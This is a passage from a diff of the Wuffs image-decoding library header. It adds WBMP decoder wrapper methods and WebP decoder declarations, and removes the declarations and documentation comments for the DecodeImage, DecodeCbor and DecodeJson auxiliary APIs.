wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_wbmp__decoder__decode_frame_config(this, a_dst, a_src); ++ } + +- // DefaultValue returns an empty slice. +- static DecodeCborArgQuirks DefaultValue(); ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_wbmp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } + +- wuffs_base__slice_u32 repr; +-}; ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_wbmp__decoder__frame_dirty_rect(this); ++ } + +-// DecodeCbor calls callbacks based on the CBOR-formatted data in input. +-// +-// On success, the returned error_message is empty and cursor_position counts +-// the number of bytes consumed. On failure, error_message is non-empty and +-// cursor_position is the location of the error. That error may be a content +-// error (invalid CBOR) or an input error (e.g. network failure). +-DecodeCborResult // +-DecodeCbor(DecodeCborCallbacks& callbacks, +- sync_io::Input& input, +- DecodeCborArgQuirks quirks = DecodeCborArgQuirks::DefaultValue()); ++ inline uint32_t ++ num_animation_loops() const { ++ return wuffs_wbmp__decoder__num_animation_loops(this); ++ } + +-} // namespace wuffs_aux ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_wbmp__decoder__num_decoded_frame_configs(this); ++ } + +-// ---------------- Auxiliary - Image ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_wbmp__decoder__num_decoded_frames(this); ++ } + +-namespace wuffs_aux { ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_wbmp__decoder__restart_frame(this, a_index, a_io_position); ++ } + +-struct DecodeImageResult { +- DecodeImageResult(MemOwner&& pixbuf_mem_owner0, +- wuffs_base__pixel_buffer pixbuf0, +- std::string&& error_message0); +- DecodeImageResult(std::string&& error_message0); ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_wbmp__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } + +- MemOwner pixbuf_mem_owner; +- wuffs_base__pixel_buffer pixbuf; +- std::string error_message; +-}; ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_wbmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } + +-// DecodeImageCallbacks are the callbacks given to DecodeImage. They are always +-// called in this order: +-// 1. SelectDecoder +-// 2. HandleMetadata +-// 3. SelectPixfmt +-// 4. AllocPixbuf +-// 5. AllocWorkbuf +-// 6. Done +-// +-// It may return early - the third callback might not be invoked if the second +-// one fails - but the final callback (Done) is always invoked. +-class DecodeImageCallbacks { +- public: +- // AllocPixbufResult holds a memory allocation (the result of malloc or new, +- // a statically allocated pointer, etc), or an error message. The memory is +- // de-allocated when mem_owner goes out of scope and is destroyed. +- struct AllocPixbufResult { +- AllocPixbufResult(MemOwner&& mem_owner0, wuffs_base__pixel_buffer pixbuf0); +- AllocPixbufResult(std::string&& error_message0); ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_wbmp__decoder__workbuf_len(this); ++ } + +- MemOwner mem_owner; +- wuffs_base__pixel_buffer pixbuf; +- std::string error_message; +- }; ++#endif // __cplusplus ++}; // struct wuffs_wbmp__decoder__struct + +- // AllocWorkbufResult holds a memory allocation (the result of malloc or new, +- // a statically allocated pointer, etc), or an error message. The memory is +- // de-allocated when mem_owner goes out of scope and is destroyed. +- struct AllocWorkbufResult { +- AllocWorkbufResult(MemOwner&& mem_owner0, wuffs_base__slice_u8 workbuf0); +- AllocWorkbufResult(std::string&& error_message0); ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- MemOwner mem_owner; +- wuffs_base__slice_u8 workbuf; +- std::string error_message; +- }; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) + +- virtual ~DecodeImageCallbacks(); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) || defined(WUFFS_NONMONOLITHIC) + +- // SelectDecoder returns the image decoder for the input data's file format. +- // Returning a nullptr means failure (DecodeImage_UnsupportedImageFormat). +- // +- // Common formats will have a FourCC value in the range [1 ..= 0x7FFF_FFFF], +- // such as WUFFS_BASE__FOURCC__JPEG. A zero FourCC value means that Wuffs' +- // standard library did not recognize the image format but if SelectDecoder +- // was overridden, it may examine the input data's starting bytes and still +- // provide its own image decoder, e.g. for an exotic image file format that's +- // not in Wuffs' standard library. The prefix_etc fields have the same +- // meaning as wuffs_base__magic_number_guess_fourcc arguments. SelectDecoder +- // implementations should not modify prefix_data's contents. +- // +- // SelectDecoder might be called more than once, since some image file +- // formats can wrap others. For example, a nominal BMP file can actually +- // contain a JPEG or a PNG. +- // +- // The default SelectDecoder accepts the FOURCC codes listed below. For +- // modular builds (i.e. when #define'ing WUFFS_CONFIG__MODULES), acceptance +- // of the ETC file format is optional (for each value of ETC) and depends on +- // the corresponding module to be enabled at compile time (i.e. #define'ing +- // WUFFS_CONFIG__MODULE__ETC). +- // - WUFFS_BASE__FOURCC__BMP +- // - WUFFS_BASE__FOURCC__GIF +- // - WUFFS_BASE__FOURCC__JPEG +- // - WUFFS_BASE__FOURCC__NIE +- // - WUFFS_BASE__FOURCC__NPBM +- // - WUFFS_BASE__FOURCC__PNG +- // - WUFFS_BASE__FOURCC__TGA +- // - WUFFS_BASE__FOURCC__WBMP +- virtual wuffs_base__image_decoder::unique_ptr // +- SelectDecoder(uint32_t fourcc, +- wuffs_base__slice_u8 prefix_data, +- bool prefix_closed); +- +- // HandleMetadata acknowledges image metadata. minfo.flavor will be one of: +- // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_RAW_PASSTHROUGH +- // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_PARSED +- // If it is ETC__METADATA_RAW_ETC then raw contains the metadata bytes. Those +- // bytes should not be retained beyond the the HandleMetadata call. +- // +- // minfo.metadata__fourcc() will typically match one of the +- // DecodeImageArgFlags bits. For example, if (REPORT_METADATA_CHRM | +- // REPORT_METADATA_GAMA) was passed to DecodeImage then the metadata FourCC +- // will be either WUFFS_BASE__FOURCC__CHRM or WUFFS_BASE__FOURCC__GAMA. +- // +- // It returns an error message, or an empty string on success. +- virtual std::string // +- HandleMetadata(const wuffs_base__more_information& minfo, +- wuffs_base__slice_u8 raw); +- +- // SelectPixfmt returns the destination pixel format for AllocPixbuf. It +- // should return wuffs_base__make_pixel_format(etc) called with one of: +- // - WUFFS_BASE__PIXEL_FORMAT__BGR_565 +- // - WUFFS_BASE__PIXEL_FORMAT__BGR +- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL +- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE +- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL +- // - WUFFS_BASE__PIXEL_FORMAT__RGB +- // - WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL +- // - WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL +- // or return image_config.pixcfg.pixel_format(). The latter means to use the +- // image file's natural pixel format. For example, GIF images' natural pixel +- // format is an indexed one. +- // +- // Returning otherwise means failure (DecodeImage_UnsupportedPixelFormat). +- // +- // The default SelectPixfmt implementation returns +- // wuffs_base__make_pixel_format(WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL) which +- // is 4 bytes per pixel (8 bits per channel × 4 channels). +- virtual wuffs_base__pixel_format // +- SelectPixfmt(const wuffs_base__image_config& image_config); ++// ---------------- Status Codes + +- // AllocPixbuf allocates the pixel buffer. +- // +- // allow_uninitialized_memory will be true if a valid background_color was +- // passed to DecodeImage, since the pixel buffer's contents will be +- // overwritten with that color after AllocPixbuf returns. +- // +- // The default AllocPixbuf implementation allocates either uninitialized or +- // zeroed memory. Zeroed memory typically corresponds to filling with opaque +- // black or transparent black, depending on the pixel format. +- virtual AllocPixbufResult // +- AllocPixbuf(const wuffs_base__image_config& image_config, +- bool allow_uninitialized_memory); ++extern const char wuffs_webp__error__bad_huffman_code_over_subscribed[]; ++extern const char wuffs_webp__error__bad_huffman_code_under_subscribed[]; ++extern const char wuffs_webp__error__bad_huffman_code[]; ++extern const char wuffs_webp__error__bad_back_reference[]; ++extern const char wuffs_webp__error__bad_color_cache[]; ++extern const char wuffs_webp__error__bad_header[]; ++extern const char wuffs_webp__error__bad_transform[]; ++extern const char wuffs_webp__error__short_chunk[]; ++extern const char wuffs_webp__error__truncated_input[]; ++extern const char wuffs_webp__error__unsupported_number_of_huffman_groups[]; ++extern const char wuffs_webp__error__unsupported_transform_after_color_indexing_transform[]; ++extern const char wuffs_webp__error__unsupported_webp_file[]; + +- // AllocWorkbuf allocates the work buffer. The allocated buffer's length +- // should be at least len_range.min_incl, but larger allocations (up to +- // len_range.max_incl) may have better performance (by using more memory). +- // +- // The default AllocWorkbuf implementation allocates len_range.max_incl bytes +- // of either uninitialized or zeroed memory. +- virtual AllocWorkbufResult // +- AllocWorkbuf(wuffs_base__range_ii_u64 len_range, +- bool allow_uninitialized_memory); ++// ---------------- Public Consts + +- // Done is always the last Callback method called by DecodeImage, whether or +- // not parsing the input encountered an error. Even when successful, trailing +- // data may remain in input and buffer. +- // +- // The image_decoder is the one returned by SelectDecoder (if SelectDecoder +- // was successful), or a no-op unique_ptr otherwise. Like any unique_ptr, +- // ownership moves to the Done implementation. +- // +- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, +- // as DecodeImage may then de-allocate the backing array. +- // +- // The default Done implementation is a no-op, other than running the +- // image_decoder unique_ptr destructor. +- virtual void // +- Done(DecodeImageResult& result, +- sync_io::Input& input, +- IOBuffer& buffer, +- wuffs_base__image_decoder::unique_ptr image_decoder); +-}; ++#define WUFFS_WEBP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-extern const char DecodeImage_BufferIsTooShort[]; +-extern const char DecodeImage_MaxInclDimensionExceeded[]; +-extern const char DecodeImage_MaxInclMetadataLengthExceeded[]; +-extern const char DecodeImage_OutOfMemory[]; +-extern const char DecodeImage_UnexpectedEndOfFile[]; +-extern const char DecodeImage_UnsupportedImageFormat[]; +-extern const char DecodeImage_UnsupportedMetadata[]; +-extern const char DecodeImage_UnsupportedPixelBlend[]; +-extern const char DecodeImage_UnsupportedPixelConfiguration[]; +-extern const char DecodeImage_UnsupportedPixelFormat[]; ++// ---------------- Struct Declarations + +-// The FooArgBar types add structure to Foo's optional arguments. They wrap +-// inner representations for several reasons: +-// - It provides a home for the DefaultValue static method, for Foo callers +-// that want to override some but not all optional arguments. +-// - It provides the "Bar" name at Foo call sites, which can help self- +-// document Foo calls with many arguemnts. +-// - It provides some type safety against accidentally transposing or omitting +-// adjacent fundamentally-numeric-typed optional arguments. ++typedef struct wuffs_webp__decoder__struct wuffs_webp__decoder; + +-// DecodeImageArgQuirks wraps an optional argument to DecodeImage. +-struct DecodeImageArgQuirks { +- explicit DecodeImageArgQuirks(wuffs_base__slice_u32 repr0); +- explicit DecodeImageArgQuirks(uint32_t* ptr, size_t len); ++#ifdef __cplusplus ++extern "C" { ++#endif + +- // DefaultValue returns an empty slice. +- static DecodeImageArgQuirks DefaultValue(); ++// ---------------- Public Initializer Prototypes + +- wuffs_base__slice_u32 repr; +-}; ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-// DecodeImageArgFlags wraps an optional argument to DecodeImage. +-struct DecodeImageArgFlags { +- explicit DecodeImageArgFlags(uint64_t repr0); ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_webp__decoder__initialize( ++ wuffs_webp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +- // DefaultValue returns 0. +- static DecodeImageArgFlags DefaultValue(); ++size_t ++sizeof__wuffs_webp__decoder(void); + +- // TODO: support all of the REPORT_METADATA_ETC flags, not just CHRM, EXIF, +- // GAMA, ICCP, KVP, SRGB and XMP. ++// ---------------- Allocs + +- // Background Color. +- static constexpr uint64_t REPORT_METADATA_BGCL = 0x0001; +- // Primary Chromaticities and White Point. +- static constexpr uint64_t REPORT_METADATA_CHRM = 0x0002; +- // Exchangeable Image File Format. +- static constexpr uint64_t REPORT_METADATA_EXIF = 0x0004; +- // Gamma Correction. +- static constexpr uint64_t REPORT_METADATA_GAMA = 0x0008; +- // International Color Consortium Profile. +- static constexpr uint64_t REPORT_METADATA_ICCP = 0x0010; +- // Key-Value Pair. +- // +- // For PNG files, this includes iTXt, tEXt and zTXt chunks. In the +- // HandleMetadata callback, the raw argument contains UTF-8 strings. +- static constexpr uint64_t REPORT_METADATA_KVP = 0x0020; +- // Modification Time. +- static constexpr uint64_t REPORT_METADATA_MTIM = 0x0040; +- // Offset (2-Dimensional). +- static constexpr uint64_t REPORT_METADATA_OFS2 = 0x0080; +- // Physical Dimensions. +- static constexpr uint64_t REPORT_METADATA_PHYD = 0x0100; +- // Standard Red Green Blue (Rendering Intent). +- static constexpr uint64_t REPORT_METADATA_SRGB = 0x0200; +- // Extensible Metadata Platform. +- static constexpr uint64_t REPORT_METADATA_XMP = 0x0400; ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +- uint64_t repr; +-}; ++wuffs_webp__decoder* ++wuffs_webp__decoder__alloc(void); + +-// DecodeImageArgPixelBlend wraps an optional argument to DecodeImage. +-struct DecodeImageArgPixelBlend { +- explicit DecodeImageArgPixelBlend(wuffs_base__pixel_blend repr0); ++static inline wuffs_base__image_decoder* ++wuffs_webp__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_webp__decoder__alloc()); ++} + +- // DefaultValue returns WUFFS_BASE__PIXEL_BLEND__SRC. +- static DecodeImageArgPixelBlend DefaultValue(); ++// ---------------- Upcasts + +- wuffs_base__pixel_blend repr; +-}; ++static inline wuffs_base__image_decoder* ++wuffs_webp__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_webp__decoder* p) { ++ return (wuffs_base__image_decoder*)p; ++} + +-// DecodeImageArgBackgroundColor wraps an optional argument to DecodeImage. +-struct DecodeImageArgBackgroundColor { +- explicit DecodeImageArgBackgroundColor( +- wuffs_base__color_u32_argb_premul repr0); ++// ---------------- Public Function Prototypes + +- // DefaultValue returns 1, an invalid wuffs_base__color_u32_argb_premul. +- static DecodeImageArgBackgroundColor DefaultValue(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_webp__decoder__get_quirk( ++ const wuffs_webp__decoder* self, ++ uint32_t a_key); + +- wuffs_base__color_u32_argb_premul repr; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__set_quirk( ++ wuffs_webp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); + +-// DecodeImageArgMaxInclDimension wraps an optional argument to DecodeImage. +-struct DecodeImageArgMaxInclDimension { +- explicit DecodeImageArgMaxInclDimension(uint32_t repr0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__decode_image_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- // DefaultValue returns 1048575 = 0x000F_FFFF, more than 1 million pixels. +- static DecodeImageArgMaxInclDimension DefaultValue(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__decode_frame_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- uint32_t repr; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__decode_frame( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +-// DecodeImageArgMaxInclMetadataLength wraps an optional argument to +-// DecodeImage. +-struct DecodeImageArgMaxInclMetadataLength { +- explicit DecodeImageArgMaxInclMetadataLength(uint64_t repr0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_webp__decoder__frame_dirty_rect( ++ const wuffs_webp__decoder* self); + +- // DefaultValue returns 16777215 = 0x00FF_FFFF, one less than 16 MiB. +- static DecodeImageArgMaxInclMetadataLength DefaultValue(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_webp__decoder__num_animation_loops( ++ const wuffs_webp__decoder* self); + +- uint64_t repr; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_webp__decoder__num_decoded_frame_configs( ++ const wuffs_webp__decoder* self); + +-// DecodeImage decodes the image data in input. A variety of image file formats +-// can be decoded, depending on what callbacks.SelectDecoder returns. +-// +-// For animated formats, only the first frame is returned, since the API is +-// simpler for synchronous I/O and having DecodeImage only return when +-// completely done, but rendering animation often involves handling other +-// events in between animation frames. To decode multiple frames of animated +-// images, or for asynchronous I/O (e.g. when decoding an image streamed over +-// the network), use Wuffs' lower level C API instead of its higher level, +-// simplified C++ API (the wuffs_aux API). +-// +-// The DecodeImageResult's fields depend on whether decoding succeeded: +-// - On total success, the error_message is empty and pixbuf.pixcfg.is_valid() +-// is true. +-// - On partial success (e.g. the input file was truncated but we are still +-// able to decode some of the pixels), error_message is non-empty but +-// pixbuf.pixcfg.is_valid() is still true. It is up to the caller whether to +-// accept or reject partial success. +-// - On failure, the error_message is non_empty and pixbuf.pixcfg.is_valid() +-// is false. +-// +-// The callbacks allocate the pixel buffer memory and work buffer memory. On +-// success, pixel buffer memory ownership is passed to the DecodeImage caller +-// as the returned pixbuf_mem_owner. Regardless of success or failure, the work +-// buffer memory is deleted. +-// +-// The pixel_blend (one of the constants listed below) determines how to +-// composite the decoded image over the pixel buffer's original pixels (as +-// returned by callbacks.AllocPixbuf): +-// - WUFFS_BASE__PIXEL_BLEND__SRC +-// - WUFFS_BASE__PIXEL_BLEND__SRC_OVER +-// +-// The background_color is used to fill the pixel buffer after +-// callbacks.AllocPixbuf returns, if it is valid in the +-// wuffs_base__color_u32_argb_premul__is_valid sense. The default value, +-// 0x0000_0001, is not valid since its Blue channel value (0x01) is greater +-// than its Alpha channel value (0x00). A valid background_color will typically +-// be overwritten when pixel_blend is WUFFS_BASE__PIXEL_BLEND__SRC, but might +-// still be visible on partial (not total) success or when pixel_blend is +-// WUFFS_BASE__PIXEL_BLEND__SRC_OVER and the decoded image is not fully opaque. +-// +-// Decoding fails (with DecodeImage_MaxInclDimensionExceeded) if the image's +-// width or height is greater than max_incl_dimension or if any opted-in (via +-// flags bits) metadata is longer than max_incl_metadata_length. +-DecodeImageResult // +-DecodeImage(DecodeImageCallbacks& callbacks, +- sync_io::Input& input, +- DecodeImageArgQuirks quirks = DecodeImageArgQuirks::DefaultValue(), +- DecodeImageArgFlags flags = DecodeImageArgFlags::DefaultValue(), +- DecodeImageArgPixelBlend pixel_blend = +- DecodeImageArgPixelBlend::DefaultValue(), +- DecodeImageArgBackgroundColor background_color = +- DecodeImageArgBackgroundColor::DefaultValue(), +- DecodeImageArgMaxInclDimension max_incl_dimension = +- DecodeImageArgMaxInclDimension::DefaultValue(), +- DecodeImageArgMaxInclMetadataLength max_incl_metadata_length = +- DecodeImageArgMaxInclMetadataLength::DefaultValue()); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_webp__decoder__num_decoded_frames( ++ const wuffs_webp__decoder* self); + +-} // namespace wuffs_aux ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__restart_frame( ++ wuffs_webp__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); + +-// ---------------- Auxiliary - JSON ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_webp__decoder__set_report_metadata( ++ wuffs_webp__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); + +-namespace wuffs_aux { ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__tell_me_more( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); + +-struct DecodeJsonResult { +- DecodeJsonResult(std::string&& error_message0, uint64_t cursor_position0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_webp__decoder__workbuf_len( ++ const wuffs_webp__decoder* self); + +- std::string error_message; +- uint64_t cursor_position; +-}; ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-class DecodeJsonCallbacks { +- public: +- virtual ~DecodeJsonCallbacks(); ++// ---------------- Struct Definitions + +- // AppendXxx are called for leaf nodes: literals, numbers and strings. For +- // strings, the Callbacks implementation is responsible for tracking map keys +- // versus other values. ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +- virtual std::string AppendNull() = 0; +- virtual std::string AppendBool(bool val) = 0; +- virtual std::string AppendF64(double val) = 0; +- virtual std::string AppendI64(int64_t val) = 0; +- virtual std::string AppendTextString(std::string&& val) = 0; ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- // Push and Pop are called for container nodes: JSON arrays (lists) and JSON +- // objects (dictionaries). ++struct wuffs_webp__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. + // +- // The flags bits combine exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT +- // and exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. + +- virtual std::string Push(uint32_t flags) = 0; +- virtual std::string Pop(uint32_t flags) = 0; ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable null_vtable; + +- // Done is always the last Callback method called by DecodeJson, whether or +- // not parsing the input as JSON encountered an error. Even when successful, +- // trailing data may remain in input and buffer. See "Unintuitive JSON +- // Parsing" (https://nullprogram.com/blog/2019/12/28/) which discusses JSON +- // parsing and when it stops. +- // +- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, +- // as DecodeJson may then de-allocate the backing array. +- // +- // The default Done implementation is a no-op. +- virtual void // +- Done(DecodeJsonResult& result, sync_io::Input& input, IOBuffer& buffer); +-}; ++ uint32_t f_pixfmt; ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint8_t f_code_length_code_lengths[19]; ++ bool f_sub_chunk_has_padding; ++ uint64_t f_frame_config_io_position; ++ uint32_t f_riff_chunk_length; ++ uint32_t f_sub_chunk_length; ++ uint32_t f_bits; ++ uint32_t f_n_bits; ++ bool f_seen_transform[4]; ++ uint8_t f_transform_type[4]; ++ uint8_t f_transform_tile_size_log2[4]; ++ uint32_t f_n_transforms; ++ uint32_t f_color_cache_bits; ++ uint32_t f_overall_color_cache_bits; ++ uint32_t f_overall_tile_size_log2; ++ uint32_t f_overall_n_huffman_groups; ++ uint32_t f_ht_n_symbols; ++ uint32_t f_ht_code_lengths_remaining; ++ uint32_t f_color_indexing_palette_size; ++ uint32_t f_color_indexing_width; ++ uint32_t f_workbuf_offset_for_transform[4]; ++ uint32_t f_workbuf_offset_for_color_indexing; ++ wuffs_base__pixel_swizzler f_swizzler; + +-extern const char DecodeJson_BadJsonPointer[]; +-extern const char DecodeJson_NoMatch[]; ++ uint32_t p_decode_huffman_groups; ++ uint32_t p_decode_huffman_tree; ++ uint32_t p_decode_huffman_tree_simple; ++ uint32_t p_decode_code_length_code_lengths; ++ uint32_t p_build_code_lengths; ++ uint32_t p_decode_pixels_slow; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_do_decode_image_config_limited; ++ uint32_t p_do_decode_image_config_limited_vp8l; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_transform; ++ uint32_t p_decode_color_cache_parameters; ++ uint32_t p_decode_hg_table; ++ uint32_t p_decode_pixels; ++ } private_impl; + +-// The FooArgBar types add structure to Foo's optional arguments. They wrap +-// inner representations for several reasons: +-// - It provides a home for the DefaultValue static method, for Foo callers +-// that want to override some but not all optional arguments. +-// - It provides the "Bar" name at Foo call sites, which can help self- +-// document Foo calls with many arguemnts. +-// - It provides some type safety against accidentally transposing or omitting +-// adjacent fundamentally-numeric-typed optional arguments. ++ struct { ++ uint8_t f_palette[1024]; ++ uint32_t f_color_cache[2048]; ++ uint16_t f_codes[2328]; ++ uint16_t f_code_lengths[2328]; ++ uint16_t f_code_lengths_huffman_nodes[37]; ++ uint16_t f_huffman_nodes[256][6267]; + +-// DecodeJsonArgQuirks wraps an optional argument to DecodeJson. +-struct DecodeJsonArgQuirks { +- explicit DecodeJsonArgQuirks(wuffs_base__slice_u32 repr0); +- explicit DecodeJsonArgQuirks(uint32_t* ptr, size_t len); ++ struct { ++ uint32_t v_hg; ++ uint32_t v_ht; ++ } s_decode_huffman_groups; ++ struct { ++ uint32_t v_use_second_symbol; ++ uint32_t v_first_symbol_n_bits; ++ uint32_t v_symbol0; ++ uint32_t v_base_offset; ++ } s_decode_huffman_tree_simple; ++ struct { ++ uint32_t v_n_codes; ++ uint32_t v_i; ++ } s_decode_code_length_code_lengths; ++ struct { ++ uint32_t v_length_n_bits; ++ uint16_t v_prev_code_length; ++ uint32_t v_s; ++ uint32_t v_s_max; ++ uint16_t v_node; ++ uint16_t v_repeat_value; ++ uint32_t v_repeat_n_bits; ++ } s_build_code_lengths; ++ struct { ++ uint64_t v_p; ++ uint64_t v_p_max; ++ uint32_t v_tile_size_log2; ++ uint32_t v_width_in_tiles; ++ uint32_t v_x; ++ uint32_t v_y; ++ uint32_t v_hg; ++ uint16_t v_node; ++ uint32_t v_color; ++ uint32_t v_back_ref_len_n_bits; ++ uint32_t v_back_ref_len_minus_1; ++ uint32_t v_back_ref_dist_n_bits; ++ uint32_t v_back_ref_dist_premap_minus_1; ++ uint64_t v_color_cache_p; ++ } s_decode_pixels_slow; ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config; ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config_limited; ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config_limited_vp8l; ++ struct { ++ uint32_t v_width; ++ } s_do_decode_frame; ++ struct { ++ uint32_t v_transform_type; ++ uint32_t v_tile_size_log2; ++ } s_decode_transform; ++ struct { ++ uint32_t v_tile_size_log2; ++ } s_decode_hg_table; ++ } private_data; + +- // DefaultValue returns an empty slice. +- static DecodeJsonArgQuirks DefaultValue(); ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; + +- wuffs_base__slice_u32 repr; +-}; ++ // On failure, the alloc_etc functions return nullptr. They don't throw. + +-// DecodeJsonArgJsonPointer wraps an optional argument to DecodeJson. +-struct DecodeJsonArgJsonPointer { +- explicit DecodeJsonArgJsonPointer(std::string repr0); ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_webp__decoder__alloc()); ++ } + +- // DefaultValue returns an empty string. +- static DecodeJsonArgJsonPointer DefaultValue(); ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_webp__decoder__alloc_as__wuffs_base__image_decoder()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +- std::string repr; +-}; ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && 